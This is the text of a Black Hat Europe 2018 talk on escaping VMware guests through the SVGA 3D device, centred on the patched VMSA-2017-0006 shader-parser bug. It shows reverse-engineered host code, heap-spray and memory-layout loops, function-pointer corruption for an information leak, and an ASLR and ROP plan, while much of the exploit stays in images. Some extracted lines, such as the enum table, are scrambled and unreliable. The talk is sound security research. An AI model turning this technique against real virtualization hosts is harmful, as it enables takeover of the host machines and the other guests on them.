# black hat EUROPE 2018

#### DECEMBER 3-6, 2018

EXCEL LONDON / UNITED KINGDOM

#BHEU / @BLACK HAT EVENTS





#### Straight outta VMware:

# Modern exploitation of the SVGA device for guest-to-host escape exploits

Zisis Sialveras (zisis@census-labs.com)

Blackhat Europe 2018

www.census-labs.com





- Computer security researcher at CENSUS
  - RE, exploit development, vulnerability research
- Electrical & Computer Engineering at A.U.Th
- Used to mess with knowledge-based fuzzers
- My twitter handle is @\_zisis



#### AGENDA

- •VMware architecture
  - Overview of VMware and SVGA device
  - SVGA3D communication protocol
- Exploitation
  - Exploitation primitives
    - Heap spray, information leak, code execution
  - Real world demo of VMSA-2017-0006
- Conclusion / Q&A



#### VMWARE ARCHITECTURE





#### GRAPHICS DEVICE ARCHITECTURE





### SVGA THREAD

- The frontend interface communicates with the guest
  - SVGA3D protocol
- The backend interface communicates with the host
  - On a Windows10 host *DX11Renderer* is enabled.
- VMX spawns a thread dedicated for graphics (SVGA thread) which processes SVGA3D commands from
  - SVGA FIFO
  - Command buffers



## SVGA DEVICE GUEST POINT OF VIEW

- Common PCI device
- BARO: I/O port value
- BAR1: physical address of global framebuffer
- BAR2: physical address of the SVGA FIFO





#### SVGA FIFO

- Explained in detail by Kostya Kortchinsky (Cloudburst, BHUSA09)
- SVGA FIFO is a MMIO region
- Divided in two partitions
  - FIFO registers
  - FIFO data



## SVGA FIFO SUBMIT COMMAND

- Place an SVGA3dCmdHeader in FIFO data section
- Command's arguments must be placed after the header
- Set to **SVGA\_FIFO\_NEXT\_CMD** the offset of the new command (relative to the FIFO data section)



typedef struct {
 uint32 cid;
} SVGA3dCmdDefineGBContext;



SVGA REGISTERS PORT I/O

- SVGA device exposes a few registers
- Can be accessed using the *in, out* instructions

/\* Port offsets, relative to BAR0 \*/
#define SVGA\_INDEX\_PORT 0x0
#define SVGA\_VALUE\_PORT 0x1

enum {

```
SVGA_REG_ID = 0,
SVGA REG ENABLE = 1,
SVGA_REG_WIDTH = 2,
SVGA_REG_HEIGHT = 3,
SVGA_REG_MAX_WIDTH = 4,
SVGA REG MAX HEIGHT = 5,
SVGA REG DEPTH = 6,
SVGA REG BITS PER PIXEL = 7,
SVGA_REG_PSEUDOCOLOR = 8,
SVGA_REG_RED_MASK = 9,
SVGA REG GREEN MASK = 10,
```



**COMMAND BUFFERS** 

- Two registers must be set to submit a command buffer
  - SVGA\_REG\_COMMAND\_HIGH: upper 32-bit of physical address
  - **SVGA\_REG\_COMMAND\_LOW:** lower 32-bit of physical address
- More info can be found in Linux open-source VMware driver

SVGA_3D_CMD_LEGACY_BASE
SVGA_3D_CMD_BASE
SVGA_3D_CMD_SURFACE_DEFINE
SVGA_3D_CMD_SURFACE_DESTROY
SVGA_3D_CMD_SURFACE_COPY
SVGA_3D_CMD_SURFACE_STRETCHBLT
SVGA_3D_CMD_SURFACE_DMA
SVGA_3D_CMD_CONTEXT_DEFINE
SVGA_3D_CMD_CONTEXT_DESTROY
SVGA_3D_CMD_SETTRANSFORM
SVGA_3D_CMD_SETZRANGE
SVGA_3D_CMD_SETRENDERSTATE
SVGA_3D_CMD_SETRENDERTARGET
SVGA_3D_CMD_SETTEXTURESTATE
SVGA_3D_CMD_SETMATERIAL
SVGA_3D_CMD_SETLIGHTDATA
SVGA_3D_CMD_SETLIGHTENABLED
SVGA_3D_CMD_SETVIEWPORT
SVGA_3D_CMD_SETCLIPPLANE
SVGA_3D_CMD_CLEAR
SVGA_3D_CMD_PRESENT
SVGA_3D_CMD_SHADER_DEFINE
SVGA_3D_CMD_SHADER_DESTROY
SVGA_3D_CMD_SET_SHADER
SVGA_3D_CMD_SET_SHADER_CONST
SVGA_3D_CMD_DRAW_PRIMITIVES
SVGA_3D_CMD_SETSCISSORRECT
SVGA_3D_CMD_BEGIN_QUERY
SVGA_3D_CMD_END_QUERY
SVGA_3D_CMD_WAIT_FOR_QUERY
SVGA_3D_CMD_PRESENT_READBACK
SVGA_3D_CMD_BLIT_SURFACE_TO_SCRF
SVGA_3D_CMD_SURFACE_DEFINE_V7
SVGA_3D_CMD_GENERATE_MIPM'

typedef enum {

# SVGA3D PROTOCOL

= 1000, = 1040,

= 1040, = 1041, = 1042, = 1043, = 1044, = 1045, = 1046, = 1046, = 1047, = 1048, = 1049, = 1050, = 1051, = 1052,

= 1053 = 105 = 10 = 1

=



## **OBJECT TABLES**

- Object tables are used to hold information of SVGA3D objects
- Available objects
  - MOB, surface, context, shader, DXcontext, screentarget
- Stored in guest memory
- PPN = Page Physical Number
  - (physaddr >> 0xC)

♥ #BHEU / @BLACK HAT EVENTS



## MEMORY OBJECTS

- MOBs are stored in guest memory as well
- They contain raw data used for initialization of the (host-side) SVGA objects.

typedef uint32 SVGAMobId;

typedef struct {
 SVGAMobId mobid;
 SVGAMobFormat ptDepth;
 PPN base;
 uint32 sizeInBytes;
} SVGA3dCmdDefineGBMob;



## COMMON SVGA OBJECTS

- Objects
  - Context
  - DXContext
  - Shader
  - Surface
  - Screentarget

- Operations
  - Define
  - Bind
  - Destroy
  - Readback

#### **black hat** EUROPE 2018

### **DEFINE CONTEXT**

1341	typedef
1342	<pre>#include "vmware_pack_begin.h"</pre>
1343	struct {
1344	uint32 cid;
1345	SVGAMobId mobid;
1346	}
1347	<pre>#include "vmware_pack_end.h"</pre>
1348	SVGA0TableContextEntry;
1349	<pre>#define SVGA3D_OTABLE_CONTEXT_ENTRY_SIZE (sizeof(SVGAOTableContextEntry))</pre>

```
INT MySVGA3DCmd_DefineGBContext(VOID *SVGAArg) {
   SVGA0TableContextEntry *ContextEntry;
   SVGA3dCmdDefineGBContext ContextArg;
```

```
MySVGA_CopyFromFIFOToBuffer(SVGAArg, &ContextArg)
ContextEntry = MySVGA_GetEntryFromOTable(SVGA_OTABLE_CONTEXT, ContextArg.cid, ...);
```

```
if (ContextEntry->cid == SVGA_INVALID_ID) { // entry is empty ;)
    ContextEntry->cid = ContextArg.cid;
    ContextEntry->mobid = SVGA_INVALID_ID;
```

#### **black hat** EUROPE 2018

## **BIND CONTEXT**

```
INT MySVGA3DCmd_BindGBContext(VOID *SVGAArg) {
   SVGA0TableContextEntry *ContextEntry;
   SVGA0TableMobEntry *MobEntry;
   SVGA3dCmdBindGBContext BindArg;
   VOID *MobData;
```

```
MySVGA_CopyFromFIF0ToBuffer(SVGAArg, &BindArg);
ContextEntry = MySVGA_GetEntryFromOTable(SVGA_OTABLE_CONTEXT, BindArg.cid, ...);
```

```
if (BindArg.mobid != SVGA_INVALID_ID) {
    MobEntry = MySVGA_GetEntryFromOTable(SVGA_OTABLE_MOB, BindArg.mobid, ...);
```

```
if (MobEntry->sizeInBytes < 0x4000) goto _error;</pre>
```

```
ContextEntry->mobid = BindArg.mobid;
```

```
MobData = MySVGA_GetMOBFromContext(BindArg.cid, ...);
```

```
if (!BindContextArg.validContents)
    MySVGA_InitializeContextMobContents(MobData);
```





## **DESTROY CONTEXT**

INT MySVGA3DCmd\_DestroyGBContext(VOID \*SVGAArg) {
 SVGA0TableContextEntry \*ContextEntry;
 SVGA3dCmdDestroyGBContext DestroyArg;
 SVGA\_Context \*Context;

MySVGA\_CopyFromFIFOToBuffer(SVGAArg, &DestroyArg);

Context = MySVGA\_FindContext(DestroyArg.cid);

if (Context != NULL) MySVGA\_DestroyContext(Context);

ContextEntry = MySVGA\_GetEntryFromOTable(SVGA\_OTABLE\_CONTEXT, DestroyArg.cid, ...);

if (ContextEntry && ContextEntry->cid != SVGA\_INVALID\_ID) {
 ContextEntry->cid = ContextEntry->mobid = SVGA\_INVALID\_ID;



### EXPLOITATION PRIMITIVES

#### HEAP SPRAYING

![](_page_20_Picture_0.jpeg)

#### SHADERS

- Define a shader
- Define a MOB
  - MOB will contain shader's data (i.e bytecode)
- Bind the shader with the MOB
- Set shader to a context
  - VMware will allocate a buffer on the host side to store the bytecode

typedef enum {
 SVGA3D\_SHADERTYPE\_INVALID = 0,
 SVGA3D\_SHADERTYPE\_MIN = 1,
 SVGA3D\_SHADERTYPE\_VS = 1,
 SVGA3D\_SHADERTYPE\_PS = 2,
 SVGA3D\_SHADERTYPE\_PREDX\_MAX = 3,
 SVGA3D\_SHADERTYPE\_GS = 3,
 SVGA3D\_SHADERTYPE\_DX10\_MAX = 4,
 SVGA3D\_SHADERTYPE\_HS = 4,
 SVGA3D\_SHADERTYPE\_DS = 5,
 SVGA3D\_SHADERTYPE\_DS = 5,
 SVGA3D\_SHADERTYPE\_CS = 6,
 SVGA3D\_SHADERTYPE\_MAX = 7
} SVGA3dShaderType;

typedef struct SVGA3dCmdDefineGBShader {
 uint32 shid;
 SVGA3dShaderType type;
 uint32 sizeInBytes;
} SVGA3dCmdDefineGBShader;

typedef struct SVGA3dCmdBindGBShader {
 uint32 shid;
 SVGAMobId mobid;
 uint32 offsetInBytes;
} SVGA3dCmdBindGBShader;

# typedef struct { uint32 cid; SVGA3dShaderType type; uint32 shid; } SVGA3dCmdSetShader;

¥#BHEU / @BLACK HAT EVENTS

#### ANALYSIS OF ACK hat BODE 2018 SVGA 3D CMD SET SHADER

```
INT MySVGA3DCmd_SetShader(VOID *SVGAArg) {
   SVGA3dCmdSetShader SetShaderArg;
```

```
SVGA_Context *Context;
SVGA_Shader *Shader;
```

MySVGA\_CopyFromFIF0ToBuffer(SVGAArg, &SetShaderArg);

```
Context = MySVGA_GetOrCreateContext(SetShaderArg.cid);
```

```
Shader = MyFindItemByIndexInList(SVGA_ShaderList, SetShaderArg.shid, ...);
```

```
if (Shader == NULL)
    Shader = MySVGA_CreateNewShader(SetShaderArg.shid, SetShaderArg.type);
```

```
// ...
```

#### **ANALYSIS OF Black hat** EUROPE 2018 SVGA3D\_CMD\_SET\_SHADER

```
SVGA_Shader *MySVGA_BuildNewShader(UINT32 ShaderId, UINT32 ShaderId2, VOID *Buffer, UINT32 type, UINT32 size) {
    VOID *ShaderBytecode = malloc(size);
    memcpy(ShaderData, Buffer, size);
    Global_MemoryOccupiedByShaders += size;
    SVGA_Shader *Shader = MyAllocateAndImportToList(MySVGA_ShaderList, ShaderId);
    Shader->Buffer = ShaderBytecode;
    Shader->BufferSize = size;
    return Shader;
}
```

♥ #BHEU / @BLACK HAT EVENTS

![](_page_23_Picture_0.jpeg)

- On a single SVGA\_3D\_SET\_SHADER command two allocations of the requested size will be performed
  - The first one is freed immediately
  - The latter is freed when the guest destroys that shader
- •VMware keeps track of the total shader allocation size.
  - Must be <= 8MB
- Guest is able to define and set as many shaders fit in the shader object table

![](_page_24_Picture_0.jpeg)

#### EXPLOITATION PRIMITIVES

#### SURFACES & RESOURCE CONTAINERS

INFORMATION LEAK & CODE EXECUTION

![](_page_25_Picture_0.jpeg)

### SURFACE OBJECT

- Surface definition
  - All host VRAM resources, including 2D textures, 3D textures, cube environment maps, render targets and vertex/index buffers are represented using a homogeneous surface abstraction.
- Surface is an object of the frontend interface

typedef struct SVGA3dCmdDefineGBSurface {
 uint32 sid;
 SVGA3dSurfaceFlags surfaceFlags;
 SVGA3dSurfaceFormat format;
 uint32 numMipLevels;
 uint32 multisampleCount;
 SVGA3dTextureFilter autogenFilter;
 SVGA3dSize size;
} SVGA3dCmdDefineGBSurface;

![](_page_26_Picture_0.jpeg)

### **RESOURCE CONTAINERS**

- Resource container is an object of the backend (DX11Renderer)
- It is often associated with surface object

![](_page_26_Figure_4.jpeg)

![](_page_27_Picture_0.jpeg)

## **RESOURCE CONTAINER**

- In VMware 14 there are ten different types of RC
  - We will focus on type 1
- Type depends on the arguments that the surface was defined
- Likewise to other SVGA objects, VMware creates a RC *only* when they are going to be used (lazy allocation)

struct ResourceContainer1 DWORD RCType;
 /\* ... \*/

//+0x20 *DWORD* Format; /\* ... \*/

//+0x30
SVGA3dSize Dimensions;
/\* ... \*/

//+0xF0
FUNCPTR Fini;
FUNCPTR Init;
FUNCPTR GetDataBuffer;

//+0x120 *PVOID* DataPtr;

![](_page_28_Picture_0.jpeg)

#### SURFACE COPY

• SVGA\_3D\_CMD\_SURFACE\_COPY copies parts (three dimensional boxes) from the source to the destination surface

typedef struct	SVGA3dCopyBox {
uint32	x;
uint32	у;
uint32	z;
uint32	w;
uint32	h;
uint32	d;
uint32	srcx;
uint32	srcy;
uint32	srcz;
};	
typedef struct	SVGA3dSurfaceImageId {
uint32	sid;
uint32	face;
uint32	mipmap;
};	
typedef struct	{
SVGA3dSurfa	eImageId src;
SVGA3dSurfac	eImageId dest;
/* Followed	by variable number of SVGA3d
<pre>} SVGA3dCmdSurf</pre>	aceCopy;

🕊 #BHEU / @BLACK HAT EVENTS

pyBox structures

```
INT MySVGA3DCmd_SurfaceCopy(VOID *SVGAArg) {
   SVGA_Surface *SrcSurface, *DstSurface;
   SVGA3dCmdSurfaceCopy SurfaceCopyArgument;
   SVGACopyBox *CopyBoxes;
```

```
MySVGA_CopyFromFIFOToBuffer(SVGAArg, &SurfaceCopyArgument);
CopyBoxes = // copy from SVGA FIFO into stack and set CopyBoxes to point into it
```

```
SrcSurface = MySVGA_GetOrCreateSurface(SurfaceCopyArgument.src.sid);
DstSurface = MySVGA_GetOrCreateSurface(SurfaceCopyArgument.dst.sid);
```

```
// Ensure that ALL copyboxes are inside the boundaries of the dimensions
// of the two surfaces
// ...
```

```
if (SrcSurface->ResourceContainerIndex != SVGA_INVALID_ID) {
    if (DstSurface->ResourceContainerIndex == SVGA_INVALID_ID) {
        for (unsigned i = 0; i < NumberOfCopyBoxes; i++) {
            MySVGA_CopySurfaceResourceToMOB(SurfaceCopyArgument.src.sid,
            SurfaceCopyArgument.dst.sid, &CopyBoxes[i]);
        }
    } else {
        // ...
}
</pre>
```

struct ResourceImage {
 UINT32 ResourceIndex;
 // ...

struct MappedResource {
 UINT32 SurfaceFormat;
 SVGA3dSize Dimensions;
 UINT32 RowPitch;
 UINT32 DepthPitch;
 VOID \*DataPtr;

INT MySVGA\_CopySurfaceResourceToMOB(UINT32 SrcSid, UINT32 DstSid, SVGA3dCopyBox \*Copybox) {
 ResourceImageId rimg;
 MappedResource \*dst;
 SVGA\_Surface \*SrcSurface = MyFindItemByIndexInList(SVGA\_SurfaceList, SrcSid, ...);
 rimg.ResourceIndex = SrcSurface->ResourceIndex;
 MySVGA\_BuildMappedResourceFromMOBBackedSurface(DstSid, &dst, ...);
 // ...
 if (dst->DataPtr != NULL) { // points to guest memory
 \_\_\_\_\_EnabledBackendRendererCallback CopyResourceToMOB(rimg, dst, CopyBox);

INT MyDX11Renderer\_CopyResource(ResourceImage \*rimg,

MappedResource \*MappedMob, SVGA3dCopyBox \*CopyBox) {

```
/* ... */
```

};

SVGA3dBox SourceBox; MyDX11MappedResource DX11MappedResource;

SourceBox.x = CopyBox.srcx; SourceBox.y = CopyBox.srcy; SourceBox.z = CopyBox.srcz; SourceBox.w = CopyBox.w; SourceBox.h = CopyBox.h; SourceBox.d = CopyBox.d;

DX11Renderer->MapSubresourceBox(rimg->ResourceIndex, &SourceBox, TRUE, &DX11MappedResource);

/\* now copy from DX11MappedResource->DataPtr to MappedMob->DataPtr \*/
MySVGA\_CopyResourceImpl(DX11MappedResource, MappedMob, CopyBox);

#### **black hat** EUROPE 2018

### MAP SUBRESOURCE

```
VOID MyDX11Resource_MapSubresourceBox(
    ResourceImageId *rimg, SVGA3dBox *Box, BOOLEAN b, DX11MappedResource *Output) {
```

```
UINT64 Offset = 0;
D3D11_MAPPED_SUBRESOURCE pMappedResource;
ResourceContainer *rc = GlobalResourceContainerList[rimg->ResourceIndex];
Output->RowPitch = MySVGA_CalculateRowPitch(SVGA_SurfaceFormatCapabilities, &rc->Dimensions);
MySVGA_SetDepthPitch(Output);
if (rc->RCtype == 3) { /* ... */ }
else if (rc->RCtype == 4) { /* ... */ }
else {
    MyDX11Resource Map(RC, /* ... */, box, &pMappedResource);
```

```
//...
```

RC->GetDataBuffer(RC, pMappedResource->Data, Output->RowPitch, pMappedResource->DepthPitch, Output);

```
if (box) {
    Offset = box->z * Output->DepthPitch;
    Offset += box->y * Output->RowPitch;
    Offset += box->x * SVGA_SurfaceFormatCapabilities[rc->SurfaceFormat].off14;
    Output->DataPtr += Offset;
}
```

#### **black hat** EUROPE 2018

## **RC->GETDATABUFFER FUNCPTR**

VOID MyRC1\_GetDataBuffer(ResourceContainer \*RC, VOID \*Data, UINT32 RowPitch, UINT32 DepthPitch, DX11MappedResource \*Output)

```
UINT32 NewRowPitch, NewDepthPitch;
```

NewRowPitch = MySVGA\_CalcRowPitch(SurfaceFormatCapabilities[RC->SurfaceFormat], &Output->Dimensions); NewDepthPitch = MySVGA\_CalcRowPitch(SurfaceFormatCapabilities[RC->SurfaceFormat], &Output->Dimensions);

```
if (RC->DataBuffer == NULL) {
    TotalDataBufferSize = MySVGA_CalcTotalSize(SurfaceFormatCapabilities[RC->SurfaceFormat],
        &&Output->Dimensions, NewRowPitch);
    RC->DataBuffer = MyMKSMemMgr_ZeroAllocateWithTag(ALLOC_TAG, 1, TotalDataBufferSize);
}
// ...
if (/* ... */) {
    // Copy input `Data` to `rc->Databuffer`
    MySVGA_CopyResourceImpl(/*...*/);
}
Output >BenDitch = NewBenDitch;
```

```
Output->RowPitch = NewRowPitch;
Output->DepthPitch = NewDepthPitch;
Output->DataPtr = RC->DataBuffer;
```

## ATTACKING VMWARE

- Resource containers are very attractive for an attacker, since they
  - can be allocated multiple times
  - contain pointers to heap
  - contain dimension fields
  - contain function pointers

![](_page_33_Picture_6.jpeg)

![](_page_34_Picture_0.jpeg)

ATTACKING VMWARE

- Assume having a memory corruption bug
- Consider the following surface
  - Width = **0x45**
  - Height = **0x2**
  - Depth = **0x1**
  - Surface format = SVGA3D\_A4R4G4B4
- Since the surface format requires two bytes for each pixel, the total size of the RC->DataBuffer will be 0x45 \* 0x2 \* 0x1 \* 2 = 0x114 bytes.

![](_page_35_Picture_0.jpeg)

#### ATTACKING VMWARE

- Corrupt width of RC with a greater value
  - Rowpitch will also be affected
- Box must be in boundaries due to the checks at frontend
- DataPtr will point after the end of the buffer

```
MyDX11Resource_Map(RC, /* ... */, box, &pMappedResource);
//...
RC->GetDataBuffer(RC, pMappedResource->Data, Output->RowPitch, pMappedResource->DepthPitch, Output);
if (box) {
    Offset = box->z * Output->DepthPitch;
    Offset += box->y * Output->RowPitch;
    Offset += box->x * SVGA_SurfaceFormatCapabilities[rc->SurfaceFormat].off14;
    Output->DataPtr += Offset;
}
```

![](_page_36_Picture_0.jpeg)

## AVOIDING THE PITFALL

- *MyDX11Resource\_MapSubresourceBox* will refresh the contents of the DataBuffer with the contents of the GPU
  - This will trash the data that we want to write back to the guest
- This can be avoided by corrupting and decreasing the value of height
  - RC->GetDataBuffer() will silently fail but the surface copy command will continue

![](_page_37_Picture_0.jpeg)

## INFORMATION LEAK AND CODE EXECUTION

- If a *new* RC is placed after the DataBuffer we can leak its function pointers
  - LFH chunks are placed next to each other
- Once the attacker has vmware-vmx base address, he/she can corrupt the RC->GetDataBuffer function pointer and issue a the surface-copy command once again

#### **Black hat** EUROPE 2018 ATTACKING VMWARE SUMMARY

To leak data back to guest, increase the width and decrease the height

![](_page_38_Figure_2.jpeg)

Once the base address is known, corrupt the GetDataBuffer function pointer

![](_page_39_Picture_0.jpeg)

#### THE BUG

![](_page_40_Picture_0.jpeg)

VMSA-2017-0006

- Multiple vulnerabilities located in SM4 bytecode parser
- Fixed at version 12.5.5 of VMware
  - I patched vmware-vmx.exe to reintroduce the vulnerability on 14.1.3
- I developed an escape exploit which consists of two parts (userland application, kernel driver)

![](_page_41_Picture_0.jpeg)

### DETAILS OF THE VULNERABILITIES

- A malicious DXShader must be set to a *DXContext* (SVGA3D\_CMD\_DX\_SET\_SHADER)
- A call to SVGA3D\_CMD\_DX\_DRAW will trigger the shader bytecode parser
- During the *draw* call a buffer of **0x26D80** be allocated and values from the bytecode
  - will be used as index to access that buffer
  - will be stored in that buffer

#### **black hat** EUROPE 2018 VULNERABLE VERSION 12.5.4 DCL\_CONSTANTBUFFER (59H)

![](_page_42_Figure_1.jpeg)

#### **DATCHED VERSION 12.5.5 DATCHED VERSION 12.5.5 DCL\_CONSTANTBUFFER (59H)**

![](_page_43_Figure_1.jpeg)

![](_page_44_Picture_0.jpeg)

## VULNERABLE VERSION 12.5.4 DCL\_INDEXRANGE (5B)

								sub_140	24CA30	proc	near		
								arg_20=	dword	ptr	28h		
44	8B	91	70	6C	02	00		mo∨	r10d,	[rcx-	+26C70h]		
8B	44	24	28					mov	eax, [	rsp+	arg_20]		
0F	BA	EA	1F					bts	edx, 1	Fh			
4D	03	D2						add	r10, r	10			
42	89	94	D1	74	6C	02	00	mov	[rcx+r	10*8-	+26C74h]	, edx	
46	89	84	D1	78	6C	02	00	mov	[rcx+r	10*8-	+26C78h]	, r8d	
46	89	8C	D1	7C	60	02	00	mov	[rcx+r	10*8-	+26C7Ch]	, r9d	
42	89	84	D1	80	6C	02	00	mov	[rcx+r	10*8-	+26C80h]	, eax	
FF	81	70	6C	02	00			inc	dword	ptr	[rcx+26C	70h]	
СЗ								retn					
								sub 140	24CA30	endp			

Values of r8, r8, eax are taken from the shader bytecode

![](_page_45_Picture_0.jpeg)

## PATCHED VERSION 12.5.5 DCL\_INDEXRANGE (5B)

		-
Detaka eey (telses from	sub_14024CBF0 proc near	
Patch: eax (taken from	arg_20= dword ptr 28h	
bytecode) must be less 👞 👘	sub rsp. 28h	
than 0v10	mov eax, [rcx+26C70h]	
	mov r10, rcx	
	cmp eax, 10h ib short loc 14024CC1	c
		+
<pre>lea rdx, aBoraMksLibStat ; "bora\\mks\\lit lea rcx, aVerifySD ; "VERIFY %s:%d\n" mov r8d, 7E3h call MyPanicError</pre>	>\\stateFFP\\vmgiEmit.c" lo mov bt: add mov mov mov in: add rei sul	c_14024CC1C: v rcx, rax v eax, [rsp+28h+arg_20] s edx, 1Fh d rcx, rcx v [r10+rcx*8+26C74h], edx v [r10+rcx*8+26C78h], r8d v [r10+rcx*8+26C70h], r9d v [r10+rcx*8+26C80h], eax c dword ptr [r10+26C70h] d rsp, 28h tn b_14024CBF0 endp

♥ #BHEU / @BLACK HAT EVENTS

#### PRISON BREAK

#### THE EXPLOIT

![](_page_47_Picture_0.jpeg)

## **DRIVER ENTRY**

- Use HAL to retrieve BARs
- Required for port I/O and MMIO for the SVGA device

```
HalGetBusDataByOffset(PCIConfiguration, 0, PCISlotNumber.u.AsULONG,
    &PCIHeader, 0, sizeof(PCI_COMMON_HEADER));
/* Used for Port I/O communication between the current driver and SVGA device. */
gSVGA.ioBase = PCIHeader.u.type0.BaseAddresses[0];
gSVGA.ioBase &= 0xFFF0;
DbgPrint("ioBase = 0x%x\n", gSVGA.ioBase);
gSVGA.fifoSize = SVGA ReadReg(SVGA REG MEM SIZE);
DbgPrint("fifoSize = 0x%x\n", gSVGA.fifoSize);
/* BAR2 contains the physical address of the SVGA FIFO. */
PhysAddr.QuadPart = PCIHeader.u.type0.BaseAddresses[2];
gSVGA.fifoMem = (UINT32 *)MmMapIoSpace(PhysAddr, gSVGA.fifoSize, MmNonCached);
DbgPrint("fifoMem = %p\n", gSVGA.fifoMem);
```

![](_page_48_Picture_0.jpeg)

INIT\_SVGA\_IOCTL

![](_page_48_Picture_2.jpeg)

¥#BHEU / @BLACK HAT EVENTS

![](_page_49_Picture_0.jpeg)

## SETTING UP THE SVGA

#### SVGA FIFO initialization

#### Object table definition

FIFORegisterSize = SVGA ReadReg(SVGA REG MEM REGS); DbgPrint("SVGA REG MEM REGS = 0x%x\n", FIFORegisterSize); FIFORegisterSize <<= 2; if (FIFORegisterSize < PAGE SIZE) FIFORegisterSize = PAGE SIZE; DbgPrint("FIFORegisterSize = 0x%x\n", FIFORegisterSize); gSVGA.fifoMem[SVGA FIFO MIN] = FIFORegisterSize; gSVGA.fifoMem[SVGA\_FIF0\_MAX] = gSVGA.fifoSize; KeMemoryBarrier(); gSVGA.fifoMem[SVGA FIFO NEXT CMD] = FIFORegisterSize; gSVGA.fifoMem[SVGA FIFO STOP] = FIFORegisterSize; gSVGA.fifoMem[SVGA FIFO BUSY] = 0; KeMemoryBarrier(); SVGA WriteReg(SVGA REG CONFIG DONE, 1); if (DefineOTables()) ntStatus = STATUS NO MEMORY;

![](_page_50_Picture_0.jpeg)

## LEAK\_VMX\_ADDR\_IOCTL

![](_page_50_Figure_2.jpeg)

♥ #BHEU / @BLACK HAT EVENTS

![](_page_51_Picture_0.jpeg)

- Allocate a big chunk that will be occupied later by the allocation at SVGA3D\_CMD\_DX\_DRAW
- Repeatedly allocate a shader of size 0x150

0x26D80

![](_page_52_Picture_0.jpeg)

- Allocate a big chunk that will be occupied later by the allocation at SVGA3D\_CMD\_DX\_DRAW
- Repeatedly allocate a shader of size 0x150

0x26D80

![](_page_52_Picture_5.jpeg)

![](_page_53_Picture_0.jpeg)

#### • Replace all 0x150-size heap chunks with RC1

for (UINT32 x = 0; x < NUMBER\_SPRAY\_ELEMENTS; x++) {</pre>

// free the buffer allocated before
DestroyShader(SprayShaderIds[x]);

```
DstSurfaceId = GetAvailableSurfaceId();
SVGA3D_DefineGBSurface(DstSurfaceId,
    (SVGA3dSurfaceFlags)SVGA3D_SURFACE_ALIGN16,
    SVGA3D_A4R4G4B4, 1, 0,
    SVGA3D_TEX_FILTER_NONE, &size3d);
```

// surface copy will allocate a RC1, one of them should eventually
// reclaim the address of the freed buffer
SVGA3D\_SurfaceCopy(TempSurfaceId, 0, 0, DstSurfaceId, 0, 0, NULL, 0);

0x26D80

![](_page_53_Picture_8.jpeg)

#### **black hat** EUROPE 2018

## PREPARE MEMORY LAYOUT

for (UINT32 x = 0; x < NUMBER\_SPRAY\_ELEMENTS; x++) {</pre>

- // Allocate the ResourceContainer->DataBuffer (offset 0x120)
- SVGA3D\_SurfaceCopy(SurfaceIds[x], 0, 0, OutputSurfaceId, 0, 0, CopyBox,

sizeof(SVGA3dCopyBox));

// We should place after DataBuffer a RC0 to leak the function pointer stored inside
// For one DataBuffer allocate four RC0 to defeat the randomness of Win10 LFH allocator
for (unsigned j = 0; j < 4; j++) {</pre>

```
DstSurfaceId = GetAvailableSurfaceId();
```

SVGA3D\_DefineGBSurface(DstSurfaceId, (SVGA3dSurfaceFlags)SVGA3D\_SURFACE\_ALIGN16, SVGA3D\_A8R8G8B8, 1, 0, SVGA3D\_TEX\_FILTER\_NONE, &size3d);

// Allocate a new resource container (type 0)

SVGA3D\_SurfaceCopy(TempSurfaceId, 0, 0, DstSurfaceId, 0, 0, NULL, 0);

![](_page_55_Picture_0.jpeg)

![](_page_55_Figure_2.jpeg)

![](_page_56_Picture_0.jpeg)

#### FREE THE SHADER

![](_page_56_Figure_2.jpeg)

¥#BHEU / @BLACK HAT EVENTS

#### **black hat** EUROPE 2018

#### TRIGGER THE VULNERABILITY

![](_page_57_Figure_2.jpeg)

♥ #BHEU / @BLACK HAT EVENTS

#### **black hat** EUROPE 2018 COPY SURFACES BACK TO GUEST

• Copy surfaces to guest until encounter the corrupted RC1

![](_page_58_Picture_2.jpeg)

![](_page_59_Picture_0.jpeg)

# **COPY THE FUNCTION POINTER**

## • Corrupt *RC->GetDataBuffer* with the first ROP gadget 0x26D80 **Vulnerable** buffer LFH 0x140 (RC0) H 0x150 (RC1)

¥#BHEU / @BLACK HAT EVENTS

![](_page_60_Picture_0.jpeg)

#### HONEY, I DEFEATED ASLR

- Payload is stored in a buffer allocated by RPC interface
- Not much time to talk about RPC (google for more info)
- In short, guest user can allocate a buffer with controllable contents on the host process
- The address of the buffer is stored in a global variable (data section)
  - Since base address is known, we can use this ;)

#### YAY, WE GOT THE BASE ADDRESS

INIT\_SVGA\_IOCTL Config is done, graphics are dead (black screen)

USERLAND APPLICATION

**láčk hať** 

)PE 2018

LEAK\_VMX\_ADDR\_IOCTL

vmware-vmx address returned, RC1->GetDataBuffer is corrupted with the first ROP gadget KERNEL DRIVER

#### YAY, WE GOT THE BASE ADDRESS

![](_page_62_Figure_1.jpeg)

**láčk hať** 

DPE 2018

KERNEL DRIVER

![](_page_63_Picture_0.jpeg)

**ESCAPE!** 

![](_page_63_Figure_2.jpeg)

![](_page_64_Picture_0.jpeg)

## DEMO

![](_page_65_Picture_0.jpeg)

- Brief high level overview of the VMware architecture and the SVGA device
- Reusable exploitation primitives for VMware
  - Heap spray, information leak and code execution
- SVGA is amazingly complex so expect more bugs
- •VMware Workstation 15 has been released recently
  - A few things have changed (CFI mitigation)

![](_page_66_Picture_0.jpeg)

#### REFERENCES

- Cloudburst Kostya Kortchinsky, BHUSA 2009
- GPU Virtualization on VMware's Hosted I/O Architecture Micah Dowty, Jeremy Sugerman
- Wandering through the Shady Corners of VMware Workstation/Fusion ComSecuris, Nico Golde, Ralf-Philipp Weinmann
- L'art de l'evasion: Modern VMWare Exploitation Techniques Brian Gorenc, Abdul-Aziz Hariri, Jasiel Spelman, OffensiveCon 2018
- The great escapes of Vmware: A retrospective case study of Vmware guest-to-host escape vulnerabilities Debasish Mandal & Yakun Zhang, BHEU 2017
- Linux kernel driver (vmwgfx) is a treasure!
- Special thanks fly to: Nick Sampanis, Aris Thallas, Sotiris Papadopoulos

![](_page_67_Picture_0.jpeg)